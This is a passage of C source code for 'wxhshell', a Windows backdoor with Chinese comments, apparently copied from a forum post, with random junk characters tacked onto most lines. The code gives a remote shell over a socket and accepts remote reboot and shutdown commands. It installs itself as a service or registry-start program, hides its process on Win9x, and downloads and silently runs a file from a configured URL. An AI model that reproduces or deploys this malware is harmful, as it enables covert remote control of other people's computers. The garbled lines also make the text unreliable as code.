  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bm.H0rHR4  
  } Q[KR,k  
  else { =SnR9In  
&O)mPnx`  
    switch(cmd[0]) { w}b+vh^3Wy  
  PEl]HI_H  
  // 帮助 7A-rF U$  
  case '?': { 6iWuBsal  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vm4oaVi  
    break; W'$~mK\  
  } `s$@6r$  
  // 安装 6f>HE'N  
  case 'i': { `yXy T^  
    if(Install()) }VRo:sJb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5i?U-  
    else 3MVZ*'1QM\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I,;)pWX=@  
    break; )O Cr6UR  
    } t |hmEHUk  
  // 卸载 Oa .%n9ec  
  case 'r': { |VL,\&7rk  
    if(Uninstall()) GAlO<Mu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KRe=n3 1  
    else rl=_ "sd=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @~ L.m}GF  
    break; Y."[k&P-  
    } |O?Aj1g[c?  
  // 显示 wxhshell 所在路径  &i!]  
  case 'p': { )f rtvN7  
    char svExeFile[MAX_PATH]; A9gl|II  
    strcpy(svExeFile,"\n\r"); TW0^wSm  
      strcat(svExeFile,ExeFile); KK?~i[aL  
        send(wsh,svExeFile,strlen(svExeFile),0); 9Ba<'wk/>"  
    break; !%@{S8IP.v  
    } Gov{jksr  
  // 重启 ~/%){t/uLY  
  case 'b': { mUbaR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'z'm:|JW  
    if(Boot(REBOOT)) enj2xye%Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9.KH  
    else { AF-.Nwp   
    closesocket(wsh); R YNz TA  
    ExitThread(0); !@X#{  
    } KWo)}m*6  
    break; HApP*1J^c  
    } s>X;m.<  
  // 关机 10&A3C(E  
  case 'd': { m.*+0NG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KI{u:Lbi  
    if(Boot(SHUTDOWN)) hl+Yr)0\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 \J;EWTU  
    else { oSoG&4  
    closesocket(wsh); K\q/JuDfc  
    ExitThread(0); #a&Vx&7L  
    } +!(hd  
    break; |7-tUHMo[  
    } q.7CPm+  
  // 获取shell ^ytd~iK8  
  case 's': { $j/F7.S  
    CmdShell(wsh); :EjIV]e  
    closesocket(wsh); !QovpO">z  
    ExitThread(0); )94R\f  
    break; r%m2$vx#  
  } ln.~>FO  
  // 退出 Mx }(w\\T  
  case 'x': { :U s-^zVr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ow I?(ruL'  
    CloseIt(wsh); 9[! Hz)|X  
    break; rdRX  
    } ".u?-xcbJ  
  // 离开 0AEs+=  
  case 'q': { aZRgd^4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K*<n<;W  
    closesocket(wsh); 9=SZL~#CE  
    WSACleanup(); [xC (t]S-  
    exit(1); L{ -w9(S`i  
    break; <5q}j-Q  
        } mR^D55k  
  } k#.co~kS  
  } @&+ 1b=  
<3bh-)  
  // 提示信息 K02./ut-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2gGJ:,RC$  
} {e^llfj$#  
  } U uys G\  
;,1i,?  
  return; k|V{jB G"@  
} 5c#L6 dA)  
b} *cw2  
// shell模块句柄 +CkK4<dF  
int CmdShell(SOCKET sock) F-Ea85/K@4  
{ ;H^!yj5H  
STARTUPINFO si;  4Zq5  
ZeroMemory(&si,sizeof(si)); HUJ $e2[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y5 dt?a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /_O-m8+ 4m  
PROCESS_INFORMATION ProcessInfo; TaC)N  
char cmdline[]="cmd"; rcK*",>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }Z6/b _kV  
  return 0; r\] WDX!`  
} Z Uh<2F  
{1Qwwhov  
// 自身启动模式 4aRYz\yT=  
int StartFromService(void) BhKxI  
{ TuU.yvkU  
typedef struct /vhh2`  
{ D fb&/ }  
  DWORD ExitStatus; "_`~9qDy  
  DWORD PebBaseAddress; f t7wMi  
  DWORD AffinityMask; =p"0G%+%  
  DWORD BasePriority; s{/nO)  
  ULONG UniqueProcessId; {^qc`oF  
  ULONG InheritedFromUniqueProcessId; Eq?o /'e  
}   PROCESS_BASIC_INFORMATION; =[WccF  
gUMUh] j  
PROCNTQSIP NtQueryInformationProcess; 25(\'484>  
_i 8oWy1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \rJk[Kec  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ZjcJYtD  
s)V^_@Z 9  
  HANDLE             hProcess; q=bXHtU  
  PROCESS_BASIC_INFORMATION pbi; *8N~ Zmz  
Oe273Y^e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "FU|I1Xz  
  if(NULL == hInst ) return 0; E.}Zmr#H  
y.nw6.`MR  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V)]&UbEL|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); | @YN\g K;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v<) }T5~r  
k@2gw]y"  
  if (!NtQueryInformationProcess) return 0; I#0.72:[  
itP_Vxo/H  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GgtL./m  
  if(!hProcess) return 0; `{/=i|6  
+k>v^sz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SXT/9FteZ  
N 8OPeY  
  CloseHandle(hProcess); UY+~xzm  
/b*@dy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kC+A7k6  
if(hProcess==NULL) return 0; _)|!.r&)63  
?Cws25G  
HMODULE hMod; $5A XE;~{  
char procName[255]; :J"e{|g',  
unsigned long cbNeeded; HCu1vjU(]  
UYPBKf]A9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MMf6QxYf  
\DHCf 4,  
  CloseHandle(hProcess); =nsY[ s<  
<7p2OPD  
if(strstr(procName,"services")) return 1; // 以服务启动 \yy!?UlaI  
YZk&'w  
  return 0; // 注册表启动 rf~Ss<  
} h<j04fj  
T/3UF  
// 主模块 t5_`q(:  
int StartWxhshell(LPSTR lpCmdLine) ;(afz?T  
{ ]oY~8HW  
  SOCKET wsl; l]ZUKy  
BOOL val=TRUE; }Yj S v^  
  int port=0; 0L6L_;o  
  struct sockaddr_in door; VTHDGBU  
j7W_%Yk|E  
  if(wscfg.ws_autoins) Install(); l>G#+#{  
Fg~,1[8w<  
port=atoi(lpCmdLine); kA3kh`l  
O$$N{  
if(port<=0) port=wscfg.ws_port; @|^C h+%@  
oqE -q\!H  
  WSADATA data; (=X16}n:>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -P?} qy^j(  
7HF\)cz2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KGJB.<Be  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lz(9pz  
  door.sin_family = AF_INET; wEp/bR1=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6Q`ce!~$  
  door.sin_port = htons(port); \-B>']:R4  
JdAjKN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zL|^5p`K  
closesocket(wsl); )SQ g  
return 1; E|6|m8  
} ge` J>2  
ZN?(lt)u9  
  if(listen(wsl,2) == INVALID_SOCKET) { vQ h'C.  
closesocket(wsl); %>bwpN  
return 1; xXbW6aI"  
} qg|+BIi Uz  
  Wxhshell(wsl); :Cuae?O,  
  WSACleanup(); t_N `e(V  
YK-R|z6K  
return 0; &sRyM'XI  
WP>O7[|  
} / [19ITZ  
#B?7{#.1  
// 以NT服务方式启动 &#;,P :.'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4>|5B:  
{ 9GEcs(A*  
DWORD   status = 0; `+gF|o9  
  DWORD   specificError = 0xfffffff; /j^zHrLN  
Uag1vW,c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oacY-&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *Dn{MD7,M  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0uvL,hF  
  serviceStatus.dwWin32ExitCode     = 0; sPw(+m*C   
  serviceStatus.dwServiceSpecificExitCode = 0; jlB3BwG{w  
  serviceStatus.dwCheckPoint       = 0; Ns $PS\  
  serviceStatus.dwWaitHint       = 0; LY>JE6zTt  
/t/q$X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T;%SB&  
  if (hServiceStatusHandle==0) return; ygPZkvZ  
fG{oi(T  
status = GetLastError(); 07#!b~N  
  if (status!=NO_ERROR) Hy6Np62  
{ p[wjHfIq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3ty){#:  
    serviceStatus.dwCheckPoint       = 0; y5#_@  
    serviceStatus.dwWaitHint       = 0; w.3R1}R  
    serviceStatus.dwWin32ExitCode     = status; \<8!b {F  
    serviceStatus.dwServiceSpecificExitCode = specificError; XC$~!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^T[ #rNkeL  
    return; }dxdxnVt  
  } uqnZ  
0eLK9u3<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f6#H@ X  
  serviceStatus.dwCheckPoint       = 0; Pv'x|p*  
  serviceStatus.dwWaitHint       = 0; 8%"e-chd  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HT]ubw]rJ  
} M(BZ<,9V  
$@x kKe"  
// 处理NT服务事件,比如:启动、停止 oHYD6 qJX{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <(^pHv7Q  
{ vuAjAeKm  
switch(fdwControl) /?GBp[(0  
{ v Zxy9Wmc  
case SERVICE_CONTROL_STOP: 0jmlsC>  
  serviceStatus.dwWin32ExitCode = 0; |j+~Td3})&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ieI-_]|[  
  serviceStatus.dwCheckPoint   = 0; H~@h #6  
  serviceStatus.dwWaitHint     = 0; WIghP5%W  
  { :Ls36E8f=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BpCSf.zZ  
  } 5J;c;PF  
  return; u|ZO"t  
case SERVICE_CONTROL_PAUSE: 3LmHH =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; oMPQkj;  
  break; +R_U  
case SERVICE_CONTROL_CONTINUE: V;V9_qP,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \5Jv;gc\\  
  break; p .HA `R>  
case SERVICE_CONTROL_INTERROGATE: +D@R'$N  
  break; ?,NAihN]  
}; oW_WW$+N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {x: IsQZ  
} x#^kv)  
OrBFe *2y  
// 标准应用程序主函数 P#xn!fMi  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B]vj1m`9  
{ 6PH*]#PfoD  
)N/KQ[W  
// 获取操作系统版本 YV msWuF  
OsIsNt=GetOsVer(); vEsSqzc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2R!W5gs1<  
}FXRp=s  
  // 从命令行安装 v^tKT&  
  if(strpbrk(lpCmdLine,"iI")) Install(); */)gk=x8  
U`Zn*O~/  
  // 下载执行文件 q~3&f  
if(wscfg.ws_downexe) { lySaJ d  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q ZlUUj\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6D0,ME#  
} G!\x c  
($s{em4L  
if(!OsIsNt) { }dz(DP d  
// 如果时win9x,隐藏进程并且设置为注册表启动  b\2"1m0H  
HideProc(); k-U/x"Pl  
StartWxhshell(lpCmdLine); NEk [0  
} =FnZkJ  
else Jj " {r{  
  if(StartFromService()) #t O!3=0  
  // 以服务方式启动 | QA8"&r  
  StartServiceCtrlDispatcher(DispatchTable); cF2/}m]  
else H #BgE29  
  // 普通方式启动 N[-)c,O  
  StartWxhshell(lpCmdLine); m%&B4E#3T  
bhmjH(.t  
return 0; <c#[.{A}s  
}
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只看该作者 1 发表于: 2006-10-10
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